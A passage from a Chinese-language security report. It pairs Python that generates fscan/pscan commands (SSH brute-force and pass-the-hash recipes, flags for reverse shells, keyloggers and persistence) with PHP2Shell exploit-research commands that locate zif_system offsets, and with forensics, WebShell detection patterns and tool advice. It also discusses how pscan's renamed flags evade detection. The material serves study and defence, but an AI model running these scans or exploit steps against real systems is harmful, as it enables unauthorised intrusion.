\"noPOC\": {\"fs\": \"-nopoc\",\"ps\":\"-nopoc\",\"cat\":\"L2\",\"type\": \"flag\"},
\"noRedis\": {\"fs\": \"-noredis\",\"ps\":\"-noredis\",\"cat\":\"L2\",\"type\":\" \"},
\"fullPOC\": {\"fs\": \"-full\",\"ps\": \"-full\", \"cat\": \"L2\", \"type\": \"flag\"},
\"username\": {\"fs\": \"-user\",\"ps\": \"-usr\", \"cat\": \"L3\", \"type\": \"value\"},
\"password\": {\"fs\": \"-pwd\", \"ps\": \"-pw\", \"cat\": \"L3\", \"type\": \"value\"},
\"extraUsers\": {\"fs\": \"-usera\",\"ps\":\"-ua\", \"cat\": \"L3\", \"type\": \"value\"},
\"extraPass\": {\"fs\": \"-pwda\",\"ps\":\"-pa\", \"cat\": \"L3\", \"type\": \"value\"},
\"userFile\": {\"fs\": \"-userf\",\"ps\":\"-uf\", \"cat\": \"L3\", \"type\": \"value\"},
\"passFile\": {\"fs\": \"-pwdf\",\"ps\":\"-pf\", \"cat\": \"L3\", \"type\": \"value\"},
\"userPassFile\":{\"fs\": \"-upf\", \"ps\": \"-up\", \"cat\": \"L3\", \"type\": \"value\"},
\"domain\": {\"fs\": \"-domain\",\"ps\":\"-dm\",\"cat\": \"L3\", \"type\": \"value\"},
\"ntlmHash\": {\"fs\": \"-hash\",\"ps\": \"-hv\", \"cat\": \"L3\", \"type\": \"value\"},
\"hashFile\": {\"fs\": \"-hashf\",\"ps\":\"-hf\", \"cat\": \"L3\", \"type\": \"value\"},
\"sshKey\": {\"fs\": \"-sshkey\",\"ps\":\"-sk\",\"cat\": \"L3\", \"type\": \"value\"},
\"urlTarget\": {\"fs\": \"-u\", \"ps\": \"-url\", \"cat\": \"L4\", \"type\": \"value\"},
\"urlFile\": {\"fs\": \"-uf\", \"ps\": \"-urlf\",\"cat\": \"L4\", \"type\": \"value\"},
\"cookie\": {\"fs\": \"-cookie\",\"ps\":\"-cookie\",\"cat\":\"L4\",\"type\":\"value\"},
\"userAgent\": {\"fs\": \"-ua\", \"ps\": None, \"cat\": \"L4\", \"type\": \"value\"},
\"maxRedirect\": {\"fs\": \"-max-redirect\",\"ps\":\"-max-redirect\",\"cat\":\"L4\",\"type\":\"value\"},
\"pocName\": {\"fs\": \"-pocname\",\"ps\":\"-pocname\",\"cat\":\"L4\",\"type\":\"value\"},
\"pocPath\": {\"fs\": \"-pocpath\",\"ps\":\"-pocpath\",\"cat\":\"L4\",\"type\":\"value\"},
\"dns\": {\"fs\": \"-dns\",\"ps\": \"-dns\", \"cat\": \"L4\", \"type\": \"flag\"},
\"redisFile\": {\"fs\": \"-rf\", \"ps\": \"-rf\", \"cat\": \"L5\", \"type\": \"value\"},
\"redisShell\": {\"fs\": \"-rs\", \"ps\": \"-rs\", \"cat\": \"L5\", \"type\": \"value\"},
\"redisWP\": {\"fs\": \"-rwp\",\"ps\": \"-rwp\", \"cat\": \"L5\", \"type\": \"value\"},
\"redisWC\": {\"fs\": \"-rwc\",\"ps\": \"-rwc\", \"cat\": \"L5\", \"type\": \"value\"},
\"redisWF\": {\"fs\": \"-rwf\",\"ps\": \"-rwf\", \"cat\": \"L5\", \"type\": \"value\"},
\"shellcode\": {\"fs\": \"-sc\", \"ps\": \"-sc\", \"cat\": \"L5\", \"type\": \"value\"},
\"revShell\": {\"fs\": \"-rsh\",\"ps\": \"-rsh\", \"cat\": \"L5\", \"type\": \"value\"},
\"fshPort\": {\"fs\": \"-fsh-port\",\"ps\":\"-fsh-port\",\"cat\":\"L5\",\"type\":\"value\"},
\"localPlugin\": {\"fs\": \"-local\",\"ps\":\"-local\",\"cat\":\"L5\",\"type\":\"value\"},
\"persistFile\": {\"fs\": \"-persistence-file\",\"ps\":\"-persistence-file\",\"cat\":\"L5\",\"type\":\"value\"},
\"winPE\": {\"fs\": \"-win-pe\",\"ps\":\"-win-pe\",\"cat\":\"L5\",\"type\":\"value\"},
\"dlUrl\": {\"fs\": \"-download-url\",\"ps\":\"-download-url\",\"cat\":\"L5\",\"type\":\"value\"},
\"dlPath\": {\"fs\": \"-download-path\",\"ps\":\"-download-path\",\"cat\":\"L5\",\"type\":\"value\"},
\"keylogOut\": {\"fs\": \"-keylog-output\",\"ps\":\"-keylog-output\",\"cat\":\"L5\",\"type\":\"value\"},
\"startSocks5\": {\"fs\": \"-start-socks5\",\"ps\":\"-start-socks5\",\"cat\":\"L5\",\"type\":\"value\"},
\"proxy\": {\"fs\": \"-proxy\",\"ps\":\"-proxy\",\"cat\":\"L6\",\"type\":\" \"},
\"socks5\": {\"fs\": \"-socks5\",\"ps\":\"-socks5\",\"cat\":\"L6\",\"type\": \"value\"},
\"iface\": {\"fs\": \"-iface\",\"ps\":\"-iface\",\"cat\":\"L6\",\"type\": \"value\"},
\"outputFile\": {\"fs\": \"-o\", \"ps\": \"-out\",\"cat\": \"L7\",\"type\": \"value\"},
\"outputFormat\":{\"fs\": \"-f\", \"ps\": \"-fmt\",\"cat\": \"L7\",\"type\": \"value\"},
\"noSave\": {\"fs\": \"-no\", \"ps\": \"-no\", \"cat\": \"L7\", \"type\": \"flag\"},
\"silent\": {\"fs\": \"-silent\",\"ps\":\"-silent\",\"cat\":\"L7\",\"type\":\"flag\"},
\"noColor\": {\"fs\": \"-nocolor\",\"ps\":\"-nocolor\",\"cat\":\"L7\",\"type\":\"flag\"},
\"noProgress\": {\"fs\": \"-nopg\",\"ps\":\"-nopg\",\"cat\":\"L7\",\"type\":\" \"},
\"debug\": {\"fs\": \"-debug\",\"ps\":\"-debug\",\"cat\":\"L7\",\"type\":\"flag\"},
\"perf\": {\"fs\": \"-perf\",\"ps\":\"-perf\",\"cat\":\"L7\",\"type\": \"flag\"},
\"log\": {\"fs\": \"-log\",\"ps\": \"-log\", \"cat\": \"L7\", \"type\": \"value\"},
\"lang\": {\"fs\": \"-lang\",\"ps\":\"-lang\",\"cat\":\"L7\",\"type\": \"value\"},
}
# 输出顺序 = 语义分层顺序
ORDER = [\"L0\",\"L1\",\"L2\",\"L3\",\"L4\",\"L5\",\"L6\",\"L7\"]
defbuild(params: dict, tool: str = \"fscan\", exe: str = \"fscan.exe\") -> str:
\"\"\"把逻辑参数字典编译成命令行。tool='fscan'|'pscan'\"\"\"
parts = [exe]
for layer in ORDER:
for pid, spec in PARAMS.items():
if spec[\"cat\"] != layer:
continue
val = params.get(pid)
if val in (None, \"\", False):
continue
flag = spec[\"ps\"] if tool == \"pscan\"else spec[\"fs\"]
if flag isNone: # 该工具不支持此参数
continue
if spec[\"type\"] == \"flag\":
parts.append(flag)
else:
parts.append(f\"{flag} {val}\")
return\" \".join(parts)
# ── 配方库:每个配方就是一个可复用的参数模块集合 ──
RECIPES = {
\"silent_recon\": {
\"target\": \"192.168.1.0/24\", \"skipPing\": True, \"rate\": 300, \"timeout\": 5,
\"noBrute\": True, \"noPOC\": True, \"noSave\": True, \"silent\": True, \"noColor\": True,
},
\"alive_only\": {
\"target\": \"192.168.1.0/24\", \"aliveOnly\": True, \"noSave\": True, \"silent\": True,
},
\"ssh_brute\": {
\"target\": \"10.0.0.0/16\", \"ports\": \"22\", \"username\": \"root\",
\"userFile\": \"users.txt\", \"passFile\": \"pass.txt\", \"noPOC\": True,
\"outputFile\": \"ssh_hits.txt\", \"outputFormat\": \"json\",
},
\"pth_smb\": {
\"target\": \"10.0.0.0/24\", \"ntlmHash\": \"hashes.txt\", \"noPOC\": True,
\"outputFile\": \"pth.json\", \"outputFormat\": \"json\",
},
\"web_poc\": {
\"urlTarget\": \"http://192.168.1.100\", \"fullPOC\": True,
\"pocConcurrency\": 50, \"dns\": True, \"timeout\": 10,
},
}
defrender(recipe_name: str, tool=\"fscan\", exe=\"fscan.exe\", overrides=None):
p = dict(RECIPES[recipe_name])
if overrides:
p.update(overrides)
return build(p, tool=tool, exe=exe)
if __name__ == \"__main__\":
tool = sys.argv[1] iflen(sys.argv) > 1else\"fscan\"
name = sys.argv[2] iflen(sys.argv) > 2else\"silent_recon\"
exe = \"pscan.exe\"if tool == \"pscan\"else\"fscan.exe\"
print(render(name, tool=tool, exe=exe))
这段代码的价值:参数表是纯数据,配方是可命名的参数集合,工具切换只是换一个查表分支。加一个新配方不改任何逻辑;把 fscan 换成 pscan 只改一个字符串。
3.5 动态注入与批量
3.5.1 参数从外部注入
import os, json
from fscan_recipe import render, build
# 1) 从环境变量注入(CI / 调度系统)
params = {
\"target\": os.environ[\"TARGET_CIDR\"],
\"rate\": int(os.environ.get(\"RATE\", \"300\")),
\"userFile\": os.environ[\"USERDICT\"],
\"passFile\": os.environ[\"PASSDICT\"],
\"outputFile\": os.environ[\"OUT\"],
\"outputFormat\":\"json\",
}
cmd = build(params, tool=\"fscan\", exe=\"fscan.exe\")
print(cmd)
3.5.2 目标从文件批量读,参数逐目标覆盖
import json, pathlib, subprocess, sys
defscan_many(targets_file, base_params, tool=\"fscan\", exe=\"fscan.exe\", parallel=4):
from concurrent.futures import ThreadPoolExecutor
from fscan_recipe import build
targets = [l.strip() for l inopen(targets_file) if l.strip() andnot l.startswith(\"#\")]
results = []
defone(t):
p = dict(base_params); p[\"target\"] = t
cmd = build(p, tool=tool, exe=exe)
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=1800)
return {\"target\": t, \"rc\": r.returncode, \"out\": r.stdout[-4000:]}
with ThreadPoolExecutor(max_workers=parallel) as ex:
for res in ex.map(one, targets):
results.append(res)
print(f\"[{res['rc']}] {res['target']}\", file=sys.stderr)
return results
if __name__ == \"__main__\":
res = scan_many(\"targets.txt\",
{\"rate\": 200, \"noBrute\": True, \"noPOC\": True,
\"outputFormat\": \"json\", \"outputFile\": \"out.json\"})
pathlib.Path(\"scan_summary.json\").write_text(json.dumps(res, ensure_ascii=False, indent=2))
3.5.3 参数值从 CSV 注入(表格驱动的批量测试)
import csv, json
from fscan_recipe import build
# cases.csv: name,target,ports,mode,user,password
withopen(\"cases.csv\", newline=\"\", encoding=\"utf-8-sig\") as f:
for row in csv.DictReader(f):
params = {
\"target\": row[\"target\"],
\"ports\": row[\"ports\"] orNone,
\"username\":row[\"user\"] orNone,
\"password\":row[\"password\"] orNone,
\"noPOC\": True,
\"outputFormat\": \"json\",
\"outputFile\": f\"result_{row['name']}.json\",
}
cmd = build(params, tool=\"fscan\", exe=\"fscan.exe\")
print(f\"# {row['name']}\
{cmd}\
\")
3.5.4 从上一步结果反哺下一步(流水线)
import json, glob
from fscan_recipe import build
# 阶段1产出 → 阶段2输入
withopen(\"alive.json\", encoding=\"utf-8\") as f:
alive = json.load(f)
hosts = [h ifisinstance(h, str) else h.get(\"ip\") or h.get(\"host\")
for h in (alive.get(\"hosts\") or alive.get(\"alive\") or [])]
withopen(\"alive.txt\", \"w\", encoding=\"utf-8\") as f:
f.write(\"\
\".join(hosts))
# 阶段2:只扫存活机的 SSH
cmd = build({\"hostFile\": \"alive.txt\", \"ports\": \"22\", \"username\": \"root\",
\"userFile\": \"users.txt\", \"passFile\": \"pass.txt\",
\"outputFile\": \"ssh.json\", \"outputFormat\": \"json\"},
tool=\"fscan\", exe=\"fscan.exe\")
print(cmd)
3.5.5 工具自动切换(同一参数集跑两种工具)
from fscan_recipe import build
params = {\"target\": \"192.168.1.0/24\", \"rate\": 300, \"noBrute\": True, \"noPOC\": True}
print(build(params, tool=\"fscan\", exe=\"fscan.exe\"))
print(build(params, tool=\"pscan\", exe=\"pscan.exe\"))
# fscan.exe -h 192.168.1.0/24 -rate 300 -nobr -nopoc
# pscan.exe -t 192.168.1.0/24 -rate 300 -nobr -nopoc
这就是命令生成器的价值在自动化场景下的体现:手写两遍参数名,就会在 -hf(主机文件 vs 哈希文件)、-pf(端口文件 vs 密码字典)上写错一次,而写错的结果是静默的——fscan 不会报错,只会扫出别的东西。
3.6 冷门但准确的命令语法
这一节挑的都是准确无误但不常用的,写在具体场景后面。
PHP2Shell 相关的诊断
# 确认 ASLR 状态:0=关闭 1=部分 2=完全
cat /proc/sys/kernel/randomize_va_space
# 以关闭 ASLR 启动(personality ADDR_NO_RANDOMIZE)—— 仅限隔离实验环境
setarch $(uname -m) -R /usr/local/php/bin/php -v
# 读进程的内存映射(ASLR 基址就在这里)
cat /proc/$(pgrep -f 'php-fpm'|head -1)/maps
# 查 libphp.so 里的符号偏移 —— 堆利用标定的第一手材料
nm -D /usr/lib/apache2/modules/libphp.so | grep -w system
readelf -sW /usr/lib/apache2/modules/libphp.so | grep zif_system
objdump -T /usr/lib/apache2/modules/libphp.so | grep -w system
# GDB 里直接取地址(非 stripped 构建)
gdb -batch -ex 'p &zif_system' /usr/lib/apache2/modules/libphp.so
# 进程被谁调试(反取证)
grep -E 'TracerPid|Threads' /proc/$(pgrep -n php-fpm)/status
# 读取进程环境变量
tr'\\0''\
' < /proc/$(pgrep -n php-fpm)/environ
# 进程打开的文件和 socket
ls -l /proc/$(pgrep -n php-fpm)/fd | grep -E 'socket|sess_'
# 进程网络连接
ss -tnp | grep \"pid=$(pgrep -n php-fpm),\"
# 进入目标进程的命名空间(应急取证)
nsenter -t $(pgrep -n php-fpm) -n -m
PHP 配置与运行时
# 只看某一项 INI 的生效值
php -r 'echo ini_get(\"session.upload_progress.enabled\"), PHP_EOL;'
# 运行时覆盖(仅用于一次性测试,生产必须走 php.ini / php_admin_value)
php -d session.upload_progress.enabled=0 -d memory_limit=-1 -r 'echo ini_get(\"memory_limit\");'
# FPM 配置检查并转储(不改文件就能看最终生效配置)
php-fpm -tt
# FPM master 与 worker 的 pid 目录
ls /run/php* /var/run/php* 2>/dev/null
# 优雅重载 FPM(SIGUSR2 = 滚动重启 worker,master 不退出)
kill -USR2 $(cat /run/php8.2-fpm.pid)
# 找出会话文件在哪
php -r 'echo session_save_path() ?: ini_get(\"session.save_path\"), PHP_EOL;'
# 查 session 序列化 handler(影响 CVE-2026-115560 是否可达)
php -r 'echo ini_get(\"session.serialize_handler\"), PHP_EOL;'
# 列出所有被显式设置过的 INI(排查早期诊断触发器)
php -i | grep -E '^(auto_detect_line_endings|filter\\.default|assert\\.|report_memleaks|intl\\.error_level|mbstring\\.|iconv\\.|zend\\.assertions|date\\.timezone)'
# 运行时哪些 INI 被改过(哪些是 deprecated / 非法)
php -i | grep -i deprecated
排查与取证
# 日志里的关键特征
grep -rE 'Allowed memory size of .* exhausted' /var/log/php* /var/log/nginx /var/log/httpd 2>/dev/null
grep -rE 'exhausted in Unknown on line 0' /var/log/php* 2>/dev/null # ← 应用代码之前触发
grep -rE 'zend_mm_heap corrupted|Maximum execution time of .* exceeded' /var/log/php* 2>/dev/null
grep -rE 'Session ID is too long|Failed to read session data' /var/log/php* 2>/dev/null
# 同一客户端的 5xx 突增(按 IP 聚合)
awk '$9>=500 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20
# 找超大 multipart 请求(nginx 侧)
awk 'length($0)>10000 {print $1, $7, length($0)}' /var/log/nginx/access.log | head
# 找可疑的 PHPSESSID(地址泄漏链的指纹:异常长 / 含不可打印字符)
grep -oE 'PHPSESSID=[^;]+' /var/log/nginx/access.log | awk 'length($0)>80' | head
# systemd 服务日志按时间窗
journalctl -u 'php*-fpm' --since \"2026-10-20\" --until\"2026-10-23\" --no-pager | grep -iE 'oom|segmentation|abort'
# 容器镜像里的 PHP 实际版本(多阶段构建常被误导)
docker run --rm <image> php -v
docker history <image> --no-trunc | grep -iE 'php|apt|apk'
# 找出所有跑了 PHP 的容器
docker ps -q | xargs -I{} docker exec {} sh -c 'php -v 2>/dev/null | head -1' 2>/dev/null | sort -u
网络与协议
# 指定 Host 头直连后端(绕过 DNS)
curl --resolve internal.corp:443:10.0.0.5 https://internal.corp/
# SNI 正确的 TLS 握手(看证书链,排查 eMudhra 类 CA 问题)
openssl s_client -connect 10.0.0.5:443 -servername internal.corp </dev/null 2>/dev/null | openssl x509 -noout -issuer -dates
# 抓 multipart 请求体(PHP2Shell 排查的关键,access log 里没有)
tcpdump -A -s0 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' -w /tmp/cap.pcap
# 查某个端口是谁在监听(比 netstat 简洁)
ss -lntup | grep -E ':6379|:3306|:27017'
lsof -i -P -n | grep LISTEN | head -30
杂项
# 递归找最近改动的 PHP 文件(WebShell 排查)
find /var/www -type f -name '*.php' -newermt '2026-10-20' -ls 2>/dev/null
# 在 session 目录里搜 WebShell 特征
grep -rlE 'PWNED::|system\\(\\$_GET|assert\\(\\$_POST' /var/lib/php/sessions /tmp 2>/dev/null
# 检查 crontab 与 systemd timer(持久化排查)
crontab -l; ls -la /etc/cron.*/ ; systemctl list-timers --all --no-pager
# 检查 SSH 授权密钥
find /root /home -name authorized_keys -exec sh -c 'echo \"== $1\"; cat \"$1\"' _ {} \\; 2>/dev/null
# 进程树(看有没有异常子进程)
ps -eo user,pid,ppid,etimes,cmd --sort=-etimes | grep -Ei 'www-data|nginx|apache|php-fpm' | head -30
第四部分 · AI 辅助设计方案
4.1 头脑风暴:给这套工具链做什么
下面每个方案都标了实现成本和能解决的具体问题,按性价比排序。
方案 1:把 PARAMS 表抽成外部 JSON(成本最低,收益最高)
问题:现在改一个参数要改 HTML 里的一行 PARAMS,改完还得记住刷新页面。
做法:PARAMS 改为从 params.json 加载(fetch() + file:// 协议限制 → 改用 <input type=file> 手动加载,或提供\"导出/导入参数表\"按钮)。附一份 params.csv 方便非技术人员维护。
收益:参数表变成可版本化的数据资产;可以直接对比 fscan 上游新版本的参数变化;社区可以贡献参数映射 PR。
实现成本:低(半天)。风险:fetch 在 file:// 下被 CORS 拦,需要用 FileReader 的 input 方案绕开。
方案 2:实现规范里没做的两个联动(S2 + S3)
问题:选 -m ssh 时仍显示 11 个凭据字段;-noredis 和\"Redis 字段按模式显示\"互相打架。
做法:给 PARAMS 加 showFor: {mode: ['ssh','mysql'], port: [22,3306]} 之类的条件表达式,在 vis() 里求值。
收益:表单噪声大幅下降,用户只看到当前模式下真正可用的参数。这直接对应 vis() 里那个越来越长的硬编码白名单——把它从代码搬进数据。
实现成本:中(1–2 天)。收益/成本比最高的一条。
方案 3:命令配方导出 / 导入(对接本报告 §3.4)
问题:预设只存在 localStorage,换机器就没了,也无法进版本控制。
做法:在\"保存配置\"旁加\"导出配方 JSON\"和\"导入配方 JSON\",格式与 §3.4 的 RECIPES 结构一致。
收益:配方变成团队可共享的资产;CI 里可以引用同一个配方文件;把 GUI 和脚本统一到同一份数据模型上。
实现成本:低(半天)。
方案 4:-hf 冲突的显式检测与警告(做实 README 的承诺)
问题:README 承诺\"同名冲突醒目警告\",实现只有参数名徽标。
做法:构建期做一次冲突扫描——遍历 PARAMS,找出在 fscan 和 pscan 中同名但语义不同的参数对,生成一张常驻的\"已知冲突\"提示条。同时在生成命令前做一次\"当前工具 + 用户手改过的命令\"的一致性校验。
收益:把一个静默的坑变成显式的提示。对使用者是直接的价值。
实现成本:低(半天)。关键是那张冲突表要人工标注语义——因为同一个 flag 名在不同工具里含义不同,这是数据问题,代码查不出来。
方案 5:修 D1(文件路径丢失)
做法:pickF 拿到的是浏览器的假路径(只有文件名)。改为:提供\"当前工作目录\"输入框 + 相对路径拼接;或者在选中文件后弹窗提示\"请复制完整路径并粘贴到输入框\"。同时给 file 类型字段加一个醒目的\"路径可能不完整\"图标。
收益:消除实战中最容易白跑一次的坑。
实现成本:低(半天)。如果只能改一处,改这个。
方案 6:报告生成器的风险定级升级
问题:D8——纯关键字定级,系统性低估风险。
做法:
-
- 允许在报告里手工覆写某条漏洞的等级(存进 localStorage 或报告元数据);
-
- 定级时把匹配到的关键词显示出来(\"RCE\"、\"未授权访问\"),让人能复核;
-
- 加一个\"待确认\"档:命中关键词但缺关键上下文时不直接定级,列入待复核清单。
收益:报告从\"自动生成的格式文件\"变成\"辅助判断的工具\"。对交付客户的专业报告,可信度是硬需求。
实现成本:中(1 天)。
方案 7:与 PHP2Shell 资产核查联动
问题:PHP2Shell 之后,批量核查\"哪些主机跑了脆弱 PHP\"是刚需。
做法:在命令生成器里加一个\"PHP 资产核查\"预设组(-m web + -p 80,8080,8000,9000 + -nobr + -nopoc),并配套一个把 fscan Web 结果转成 PHP 版本核查表的脚本。
收益:和当下的实际需求接上,且能复用现有的 RECIPES 数据模型。
实现成本:低(半天)。
方案 8:多版本对比(用 fscan 自身的版本差异做切入点)
问题:fscan v2.1.3-rc(pscan 的基线)与 v2.2.0(fscan 当前版)之间参数有变化。
做法:维护一张版本差异表(v2.1.3 → v2.2.0 的参数增删改),在生成命令时提示\"你正在用旧版 pscan,该参数在新版中已改名为 X\"。
收益:这是真正需要 AI 辅助的部分——从两个版本的 --help 输出里做语义对齐,判断哪些是重命名、哪些是新增、哪些是删除。手工做很累且容易漏。
实现成本:AI 辅助中(对比部分可半自动,人工复核)。
4.2 多版本对比
| 维度 | fscan v2.1.3-rc | fscan v2.2.0 | pscan(基于 v2.1.3-rc) |
|---|---|---|---|
| 参数总数 | ~74 | 74 | 24 组重命名 + 3 个缺失 |
| Banner | ASCII Logo + 版本 | ASCII Logo + 版本 | 静默 |
| 调试日志名 | fscan_debug.log |
fscan_debug.log |
tsk_debug.log |
| Go 模块路径 | github.com/shadow1ng/fscan |
同左 | test |
-hf 语义 |
主机文件 | 主机文件 | 哈希文件 |
-pf 语义 |
端口文件 | 端口文件 | 密码字典 |
-t 语义 |
端口扫描线程 | 同左 | 目标主机 |
-u 语义 |
目标 URL | 同左 | 目标 URL (-url) |
-ua 自定义 UA |
支持 | 支持 | 不支持 |
-nsp 跳过网段预筛 |
支持 | 支持 | 不支持 |
-out / -fmt |
— | -o / -f |
改名 |
| 输出格式 | txt/json/csv | 同左 | 同左 |
| 爆破服务数 | 28 | 28 | 同左 |
| 本地插件 | 21 | 21 | 同左 |
| fscan-web | — | 有(-port / -lang) |
— |
版本对比给出的三个判断:
- 1. pscan 基于 v2.1.3-rc,比 fscan 当前版落后一个小版本。fscan v2.2.0 是 2026-07-10 的构建,pscan 的基线是 v2.1.3-rc。pscan 缺失的功能(
-ua、-nsp)在 fscan 侧是有的——这意味着红队场景下 pscan 的能力上限低于 fscan,尤其是\"自定义 UA\"这一项,在需要绕过 WAF 指纹的场景下影响直接。 - 2. 参数重命名只覆盖了\"容易被检测的显眼参数\"。
-cookie、-local、-proxy、-socks5、-dns、-rsh等全部保持原样。这说明混淆是针对\"命令行一眼能认出是 fscan\"的粗粒度特征,不是系统性对抗。 防守侧如果只匹配-h/-m/-user会被绕过,但只要还匹配-local、-rsh这类未混淆的高价值参数,就仍能抓到。 - 3. 三个同名冲突(
-hf/-pf/-t)正是版本差异的代价。fscan 升级不改变 flag 语义,pscan 重命名必然制造冲突——这不是 bug,是混淆策略的固有成本。命令生成器的价值就在于把这个成本从人转移到表。
第五部分 · 漏洞类型分类与工具方法
5.1 本次事件涉及的漏洞类型
| 类型 | CWE | 在本次事件中的体现 |
|---|---|---|
| 异常条件处理不当 | CWE-755 | longjmp() 跳过清理 → 根因类别 |
| 释放后重用 | CWE-416 | 109619 的核心;也是 109618 的最终形态 |
| 未初始化指针访问 | CWE-824 | 半初始化 request memory 被 shutdown 读取 |
| 资源初始化不正确 | CWE-1419 | PS(id) / PS(http_session_vars) 未复位 |
| 顺序分配未受控 | CWE-1325 | 桶计数递增与分配失败的序错 |
| 内存耗尽 | CWE-400 | 三条内存放大路径(DoS 面,补丁后仍在) |
| 状态未清理 | CWE-459 | worker 全局跨请求存活 |
| 序列化/反序列化 | CWE-502 | __PHP_Incomplete_Class 的引入正是为了堵这个 |
分类上的一个观察:这两个 CVE 表面上分属\"内存管理\"和\"错误处理\",实际是同一个生命周期错配的两个投影——请求内存的生命周期短于 worker 全局状态的生命周期,而代码假设了两者同步。修复也只能一起做,这解释了为什么一个提交同时改 389 个文件。
5.2 工具与方法推荐
资产发现与版本核查
| 工具 | 用途 | 备注 |
|---|---|---|
| fscan | 内网存活 + 端口 + 服务 + Web 指纹 | 配合 -nobr -nopoc 做纯测绘 |
| fscan-web | 浏览器界面操作,不记参数 | 本地监听回环地址 |
| EZ(绿盟) | 自动化渗透,支持 PHP 指纹 + 该漏洞 PoC 检测 | 需要 M-SEC 社区证书 |
| 长亭云图 / 洞鉴 / 雷池 / 全悉 | 各自已发布该漏洞的 PoC 检测或利用行为规则 | 商业侧覆盖情况见 §附录 |
| RSAS / WVSS(绿盟) | 远程安全评估系统扫描能力 | 需升级插件包 |
漏洞原理与利用研究
| 资源 | 用途 |
|---|---|
GHSA-w8hw-w9fx-j79w / GHSA-6wmf-4rv5-p3rp |
根因、SAPI 差异矩阵、缓解措施的权威出处 |
php-src 3584a98 的 .patch |
最好的漏洞说明书 ,389 文件 + 全部回归测试用例 |
tests/basic/oom_rfc1867_*.phpt |
内存放大路径的精确量化(放大系数、窗口大小) |
| php.net 归档 2026 | 版本与风险口径的官方表述 |
| CISA KEV JSON feed | 直接下载解析,不要信二手汇总 |
内存与利用研究(本报告 §1.1 的工具链)
| 场景 | 命令 |
|---|---|
| 确认 ASLR | cat /proc/sys/kernel/randomize_va_space |
| 隔离环境关闭 ASLR | setarch $(uname -m) -R <cmd> |
| 读堆布局 | cat /proc/<pid>/maps |
| 符号偏移 | nm -D libphp.so / readelf -sW libphp.so / objdump -T |
| GDB 取地址 | gdb -batch -ex 'p &zif_system' libphp.so |
| 崩溃取证 | gcore <pid> + gdb -p <pid> -batch -ex 'info proc mappings' |
检测与响应
| 环节 | 手段 |
|---|---|
| 主机侧 | zend_mm_heap corrupted 、exhausted in Unknown on line 0、worker 异常退出、异常长 PHPSESSID |
| 网络侧 | 请求体日志(默认 access log 没有,必须专门开)、WAF/IPS 规则 |
| 容器侧 | 镜像 digest + 构建时间 + 包 changelog,不看 php -v |
| 取证 | /proc/<pid>/maps 、environ、fd、网络连接、容器层快照 |
| 凭据 | 轮换 worker 可读的全部凭据,不只数据库口令 |
附录
A. 信源与核验状态
已直读原文(一手)
| 内容 | 来源 | 方式 |
|---|---|---|
| CVE-2026-109618 完整公告(根因、OOM 策略、SAPI 矩阵、修复、可靠性) | api.github.com/repos/php/php-src/security-advisories/GHSA-w8hw-w9fx-j79w |
完整 JSON 已读 |
| CVE-2026-109619 完整公告(producer/consumer、消费者可达性、生命周期清单、审计指引) | .../GHSA-6wmf-4rv5-p3rp |
完整 JSON 已读 |
补丁提交本体(提交说明、389 文件清单、全部 oom_rfc1867_* 测试用例) |
github.com/php/php-src/commit/3584a98...patch |
.patch 已读(中间截断,文件清单与测试用例已全量获取) |
| 四个修复版本与 10-23 新公告 | php.net/archive/2026.php |
全文已读 |
| CISA KEV 状态 | cisa.gov/.../known_exploited_vulnerabilities.json |
下载解析:catalogVersion 2026.10.21,1754 条,两个 CVE 均未收录 |
来自用户提供的材料
- • BleepingComputer 预警(附件 1、2,内容重复已去重)
- • VulnCheck 技术分析(附件 3)
- • 新加坡 CSA 警报 + 搜索结果列表(消息正文)
- • 长亭应急响应中心通告(PHP 远程代码执行漏洞风险提示,2026-10-23):已在 WordPress、MediaWiki、Roundcube、phpMyAdmin 上完成未授权 RCE 验证;影响版本列 PHP 5.4.0–8.2.34 / 8.3.0–8.3.35 / 8.4.0–8.4.26 / 8.5.0–8.5.11
- • 绿盟科技 CERT 处置手册(NS-2026-0025-2,2026-10-23):明确\"目前已知实现 RCE 需满足:同 worker、精确的堆布局、libphp.so 偏移、地址泄漏\"
- • 《PHP2SHELL:真正的核弹还是虚假的\"核弹\"》:提供了补丁 commit 3584a98、NVD 3.1 评分 9.8、Wiz 披露、NCSC-NL 仓库、oss-security 公告地址
- • 《PHP远程命令执行漏洞刷屏:看似核弹,实则跳蛋?》:提供了完整的利用条件表、堆喷常数、析构链、三阶段请求构造
- • 《PHP的前世今生:AI攻城掠地下,互联网还能回到从前吗?》:PHP 三十年时间线、W3Techs/TIOBE/Imperva/Stack Overflow 数据
- • 差评X.PIN《印度程序员的骚操作》:eMudhra CA 私钥事件与 PHP2Shell 的同期叠加
尚未独立验证的事项
| 事项 | 状态 |
|---|---|
zif_system = 0x45a3b0 (Bookworm)/ 0x465370(Trixie)等具体偏移 |
来自国内技术博客的实测值,未在本地复现标定 |
堆喷常数 841 / 406 / +0x690d8 |
同上 |
php_url_encode(PS(id)) 越界读作为地址泄漏通道 |
机制层面与官方测试用例一致(oom_rfc1867_upload_progress 证实 upload progress 会在 handler 内触发软限制),但具体泄漏原语未实测 |
| NVD CVSS 3.1 = 9.8 | 来自国内博客引用的 NVD API 返回,本次未直连 NVD API 复核 |
| Wiz 披露原文、OpenAI 五阶段 playbook、WSJ 报道细节 | 均为检索结果转述,未打开原文 |
fscan 名称的官方字面释义 |
工具包与仓库均未给出,报告中的\"fast scan\"读法标注为社区通行解读 |
| fscan v2.1.3-rc 与 v2.2.0 的完整参数差异 | 依据手册与 pscan 手册整理,未逐条 diff 上游 --help |
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论